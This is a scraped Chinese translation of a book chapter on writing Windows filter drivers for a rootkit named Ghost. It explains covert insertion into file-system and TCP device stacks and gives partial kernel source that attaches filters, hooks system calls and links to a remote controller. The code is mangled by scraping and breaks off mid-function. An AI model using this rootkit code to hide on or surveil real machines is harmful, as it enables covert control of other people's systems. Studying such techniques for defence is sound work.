笫7章过滤驱动.docx
- 文档编号:8644694
- 上传时间:2023-02-01
- 格式:DOCX
- 页数:45
- 大小:111.96KB
笫7章过滤驱动.docx
《笫7章过滤驱动.docx》由会员分享,可在线阅读,更多相关《笫7章过滤驱动.docx(45页珍藏版)》请在冰豆网上搜索。
笫7章过滤驱动
笫7章:
过滤驱动
概述
这章主要讲述文件过滤驱动和网络过滤驱动。
过滤驱动主要用于在上层的软件和下层的硬件之间进行分层通信。
通过栈、分层和过滤可以把硬件和软件通过任意数量的层连接起来,这种分层方法使得我们可以在一个现有的栈中插入自己的过滤器。
在一个栈中插入我们自己的层是非常难被检测到的,但是却能对所有通过栈的通信进行完全的控制。
当这个栈是控制着一张网卡或者一个磁盘的时候这就变得非常有用了。
本章包括下面的内容。
。
过滤驱动的插入
。
文件系统过滤驱动
。
网络过滤驱动
。
过滤技术的一个综合实例
过滤驱动的插入
在一个驱动栈中插入一个驱动能够让我们的rootkit对操作系统进行一些特殊的控制,这种技术被广泛地应用于杀毒软件、加密软件、和压缩软件中。
事实上,它还有很多用途,驱动加载器为了能以正确地顺序加载所有有滤过驱动必须去组织好它们。
注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services这个项指明了要加载的服务和驱动。
如果你在注册表中查看这个项你会发现里面有好几百个服务和驱动条目,当使用本书提供的SCMLoader来加载一个驱动时也会在这里生成一个以MyDeviceDriver开头的项。
到目前为止,SCMLoader要加载一个on-demand(SERVICE_DEMAND_START)类型的设备驱动需要执行"netstartMyDeviceDriver"命令才能成功加载。
为了进行文件系统过滤,rootkit必须作为一个automatic(SERVICE_AUTO_START)类型的设备驱动被加载在"Filter"组里。
因为on-demandloading比Autoloading更具有指导意义,所以在讲解时继续使用SERVICE_DEMAND_START和“netstartmydevicedriver”,但我们在本章的文件目录下提供了另一个新的SCMLoader(Wrox/Wiley)供大家下载,这个升级版的loader允许rootkit在启动的时候自动加载,应该用于最终发行版rootkkit的插入。
当驱动自动加载的时候,加载的顺序由HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder\List的值来决定。
如果你打开注册表查看这个值,你会看到这是一个REG_MULTI_SZ类型的值。
(注:
下面两张图是译者加入的)
这里面包含了几十组的值。
要进行文件系统过滤,必须要把一个过滤驱动插入到“FSFilterBottom”组的后面。
要想进行更多的过滤,在“Filter”组后面插入自己的过滤驱动就行了。
这样即使是高级的网络过滤也没问题,因为TCP,UDP和RawIP这些驱动是在普通的驱动之前被加载的。
虽然在本章里谈到的网络过滤驱动可以作为一个on-demand设备驱动被加载和卸载,但是我们的主要目的不是卸载。
要注意的是,在卸载网络过滤驱动之前必须要保证所有在安装了该过滤驱动之后打开的网络连接都已经被关闭,这是因为网络过滤栈上任何一个过滤器都有可能引用了该网络过滤驱动,直接卸载该过滤驱动很可能会导致系统崩溃,因此在卸载笫7章的rootkit之前必须把所有在安装该rootkit之后打开的网络软件都关闭掉。
另外,为了便于进行rotokit加载和卸载,本书剩下的代码例子将会跳过(或注释掉)网络过滤驱动部分。
文件系统过滤驱动
文件系统过滤驱动可以插入到以“\\DosDevices\\X:
\\”作设备名的所有驱动或者其中的一个驱动中。
其中X是目标设备所在的驱动器号。
这种文件过滤驱动所使用的技术和网络过滤驱动稍有不同,网络过滤驱动可以使用IoAttachDevice函数来附加到“\\Device\\Tcp”,“\\Device\\Udp”或者“\\Device\\RawIP”上,而文件过滤驱动必须使用IoAttachDeviceToDeviceStack以保证能够正确地插入到设备栈中。
要注意的是在版本比较老的DDK里,IoAttachDeviceToDeviceStack会有一些BUG可能会导致系统崩溃,所以我们要尽量使用新版的IoAttachDeviceToDeviceStackSafe函数。
在本书中,因为使用IoAttachDeviceToDeviceStack函数能减少在链接时产生“unknownexternalfunction”错误的可能性,所以本书代码使用了这个老版本的函数(虽然新版的函数在这里也以很好的工作),如果使用的是新版本的DKK来编译可以简单的把旧版本的函数注释掉然后把新版本的函数加进来。
图7-1显示了文件系统过滤的结构。
Figure7-1
在正常情况下,文件过滤驱动会附加到所有已经挂载的磁盘上,这就要求过滤器跟踪哪个新的设备附加到了哪个驱动栈上。
为了帮助驱动来进行跟踪,设备可以预留一个设备扩展空间,设备扩展是由用户指定的一个数据结构,它会随着I/O请求包一起传递,创建一个包含“PDEVICE_OBJECTAttachedToDeviceObject”成员的设备扩展可以解决究竟是哪个驱动附加到了哪个设备的难题,但是本书中的rootkit只会监视C盘,所以这里不需要用到设备扩展。
另一个对于文件系统过滤需要关心的是快速I/O。
文件系统过滤器要依赖于快速I/O,就像依赖传统的I/O请求包一样,快速I/O调用是为了在文件缓存中进行快速同步I/O操作而设计的,在文件过滤器中它必须要被设置好。
最低限度地,rootkit为在ntddk.h中定义的21个快速分发例程提供了连接接口。
本书附带的源码镜像里实现的所有有快速I/O连接接口都通过一个可以用来动态地对快速I/O文件进行监视的filterFastIo函数把活动文件对象收集起来。
网络过滤驱动
正如上面所说的,网络过滤驱动的插入要比文件过滤驱动的插入简单一些,我们要做的只是创建一个新的设备并把它附加到一个现存的网络设备栈中。
虽然本章中的例子保是附加了“\\Device\\Tcp”,但我们同样可以很容易地附加到其它的任何一个网络设备栈上。
网络过滤器如图7-2所示
7-2
综合式过滤驱动
由前面两个分离的过滤驱动可以看到,我们可能同时需要这两个驱动,但事实上并非如此。
本章中的rootkit会使用在笫5章中所编写的分发例程来同时监视别的程序发出的命令和为过滤设备而设计的I/O请求包,这样使得在一个rootkit内可以很方便地同时包含文件过滤器和网络过滤器,综合式过滤器如图7-3所示
7-3
因为分发例程已经添加到rootkit里,截获I/O请求包的机制已经有了,剩下要做的就是把一个新创建的设备插入到一个现存的设备栈中、为文件系统过滤提供快速I/O例程、增加派遣例程的截获数量并且在OnDispatch例程里进行处理。
要进行彻底的过滤,就要把所有的派遣例程都路由到OnDispatch例程里,这是通过在DriverEntty里用一个for循环来把所有的派遣例程注册为OnDispatch(从0到IRP_MJ_MAXIMUM_FUNCTION)来实现的。
因此,OnDispatch例程不仅要修改需要处理的I/O请求包,还要让那不需要进行处理的I/O请求包正常地通过。
一个实例
为了给rootkit增加网络过滤和文件过滤功能,需要修改四个文件并且要创建两个新文件。
新文件是filterManager.h和filterManager.c。
要修改的文件是Ghost.c,IoManager.c,IoManager.h,和SOURCES。
新文件如下:
filterManager.c
filterManager.H
需要修改的文件如下:
Ghost.c
IoManager.c
IoManager.h
SOURCES
下面是代码:
filterManager。
h
文件filterManager.h简单的定义了三个函数,这三个函数都在filterManager.c里面实现。
//CopyrightRicVieler,2006
//SupportheaderforfilterManager.c
#ifndef_FILTER_MANAGER_H_
#define_FILTER_MANAGER_H_
NTSTATUSinsertFileFilter(PDRIVER_OBJECTpDriverObject,
PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice,
wchar_t*deviceName);
NTSTATUSinsertNetworkFilter(PDRIVER_OBJECTpDriverObject,
PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice,
wchar_t*deviceName);
voidremoveFilter(PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice);
#endif
filterManager.c
filterManager.c实现了下面的函数:
insertFileFilter-用来插入文件系统过滤器
insertNetworkFilter-用来插入网络过滤器
removeFilter-用来移除网络和文件过滤器
//filterManager
//CopyrightRicVieler,2006
//Attachtofileandnetworkdrivers
#include"ntddk。
h"
#include"Ghost。
h"
#include"filterManager。
h"
NTSTATUSinsertFileFilter(PDRIVER_OBJECTpDriverObject,
PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice,
wchar_t*deviceName)
{
NTSTATUSstatus;
UNICODE_STRINGunicodeDeviceName;
HANDLEfileHandle;
IO_STATUS_BLOCKstatusBlock={0};
OBJECT_ATTRIBUTESobjectAttributes={0};
PFILE_OBJECTfileObject;
//Getthedeviceforthespecifieddrive
RtlInitUnicodeString(&unicodeDeviceName,deviceName);
InitializeObjectAttributes(&objectAttributes,
&unicodeDeviceName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
status=ZwCreateFile(&fileHandle,
SYNCHRONIZE|FILE_ANY_ACCESS,
&objectAttributes,
&statusBlock,
NULL,
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE,
NULL,
0);
if(!
NT_SUCCESS(status))
returnstatus;
status=ObReferenceObjectByHandle(fileHandle,
FILE_READ_DATA,
NULL,
KernelMode,
(PVOID*)&fileObject,
NULL);
if(!
NT_SUCCESS(status))
{
ZwClose(fileHandle);
returnstatus;
}
*ppOldDevice=IoGetRelatedDeviceObject(fileObject);
if(!
*ppOldDevice)
{
ObDereferenceObject(fileObject);
ZwClose(fileHandle);
returnSTATUS_ABANDONED;
}
//Createanewdevice
status=IoCreateDevice(pDriverObject,
0,
NULL,
(*ppOldDevice)->DeviceType,
0,
FALSE,
ppNewDevice);
if(!
NT_SUCCESS(status))
{
ObDereferenceObject(fileObject);
ZwClose(fileHandle);
returnstatus;
}
//Initializethenewdevice
if((*ppOldDevice)->Flags&DO_BUFFERED_IO)
(*ppNewDevice)->Flags|=DO_BUFFERED_IO;
if((*ppOldDevice)->Flags&DO_DIRECT_IO)
(*ppNewDevice)->Flags|=DO_DIRECT_IO;
if((*ppOldDevice)->Characteristics&FILE_DEVICE_SECURE_OPEN)
(*ppNewDevice)->Characteristics|=FILE_DEVICE_SECURE_OPEN;
//Attachthenewdevicetotheolddevice
//status=IoAttachDeviceToDeviceStackSafe(*ppNewDevice,*ppOldDevice,
ppOldDevice);
*ppOldDevice=IoAttachDeviceToDeviceStack(*ppNewDevice,*ppOldDevice);
if(*ppOldDevice==NULL)
{
//Preventunloadifloadfailed
IoDeleteDevice(*ppNewDevice);
*ppNewDevice=NULL;
//Cleanupandreturnerror
ObDereferenceObject(fileObject);
ZwClose(fileHandle);
returnSTATUS_NO_SUCH_DEVICE;
}
ObDereferenceObject(fileObject);
ZwClose(fileHandle);
returnSTATUS_SUCCESS;
}
NTSTATUSinsertNetworkFilter(PDRIVER_OBJECTpDriverObject,
PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice,
wchar_t*deviceName)
{
NTSTATUSstatus=STATUS_SUCCESS;
UNICODE_STRINGunicodeName={0};
//Createanewdevice
status=IoCreateDevice(pDriverObject,
0,
NULL,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
ppNewDevice);
if(!
NT_SUCCESS(status))
returnstatus;
//Initializethenewdevice
((PDEVICE_OBJECT)(*ppNewDevice))->Flags|=DO_DIRECT_IO;
//Attachthenewdevice
RtlInitUnicodeString(&unicodeName,deviceName);
status=IoAttachDevice(*ppNewDevice,
&unicodeName,
ppOldDevice);
//Preventunloadifloadfailed
if(!
NT_SUCCESS(status))
{
IoDeleteDevice(*ppNewDevice);
*ppNewDevice=NULL;
}
returnstatus;
}
voidremoveFilter(PDEVICE_OBJECT*ppOldDevice,
PDEVICE_OBJECT*ppNewDevice)
{
IoDetachDevice(*ppOldDevice);
IoDeleteDevice(*ppNewDevice);
}
在这三个函数里,insertFileFilter需要的解释的地方最多。
因为insertNetworkFilter是insertFileFilter的简化版本,而removeFilter仅仅只有两行代码。
函数insertFileFilter需要两个指向指针的指针和一个设备名作为参数。
其实我也不怎么喜欢指向指针的指针,但没办法,因为这是C语言,它没有引用操作符。
不管怎么样,该指针指向的是设备对象的指针,一个是用来保存新创建的设备对象,另一个是要附加到的目标对象。
一旦新创建的设备附加到了现存的设备里,用来创建新设备的驱动对象的I/O映射(pDriverObject->MajorFunction[])将开始最先收到要发送给设备的IRP。
Ghost.c
Ghost.c经过修改后提供了性能更好的过滤功能。
这里增加了4个新的设备指针:
oldFileSysDevice
newFileSysDevice
oldNetworkDevice
newNetworkDevice
这些设备指针将会由在DriverEntry里调用的insertFileFilter和insertNetworkFilter来进行初始化,并且会在OnUnload中调用removeFilter来释放。
另外,所有在pDriverObject->MajorFunction数组里的派遣例程指针都被设置成OnDispatch,pDriverObject->FastIoDispatch成员被设置成一个新创建的分发函数。
下面是代码:
//Ghost
//CopyrightRicVieler,2006
#include"ntddk。
h"
#include"Ghost。
h"
#include"fileManager。
h"
#include"configManager。
h"
#include"hookManager。
h"
#include"IoManager。
h"
#include"commManager。
h"
#include"filterManager。
h"
#pragmacode_seg()
//Globalversiondata
ULONGmajorVersion;
ULONGminorVersion;
//Globalbaseaddress
PVOIDkernel32Base=NULL;
//Globalstatedata
BOOLallowEncryption=TRUE;
//Globaldevices
PDEVICE_OBJECToldFileSysDevice=NULL;
PDEVICE_OBJECTnewFileSysDevice=NULL;
PDEVICE_OBJECToldNetworkDevice=NULL;
PDEVICE_OBJECTnewNetworkDevice=NULL;
//UsedtocircumventmemoryprotectedSystemCallTable
PVOID*NewSystemCallTable=NULL;
PMDLpMyMDL=NULL;
//Pointer(s)tooriginalfunction(s)-beforehooking
ZWMAPVIEWOFSECTIONOldZwMapViewOfSection;
ZWPROTECTVIRTUALMEMORYOldZwProtectVirtualMemory;
VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)
{
UNICODE_STRINGdeviceLink={0};
PFAST_IO_DISPATCHpFastIoDispatch;
//removefilters
if(newFileSysDevice)
removeFilter(&oldFileSysDevice,&newFileSysDevice);
if(newNetworkDevice)
removeFilter(&oldNetworkDevice,&newNetworkDevice);
//freefastI/Oresource
pFastIoDispatch=pDriverObject->FastIoDispatch;
pDriverObject->FastIoDispatch=NULL;
if(pFastIoDispatch)
ExFreePool(pFastIoDispatch);
//Closetheconnectiontoremotecontroller
CloseTDIConnection();
//removedevicecontroller
RtlInitUnicodeString(&deviceLink,GHOST_DEVICE_LINK_NAME);
IoDeleteSymbolicLink(&deviceLink);
IoDeleteDevice(theDriverObject->DeviceObject);
DbgPrint("comint32:
Devicecontrollerremoved。
");
//UnhookanyhookedfunctionsandreturntheMemoryDescriptorList
if(NewSystemCallTable)
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 过滤 驱动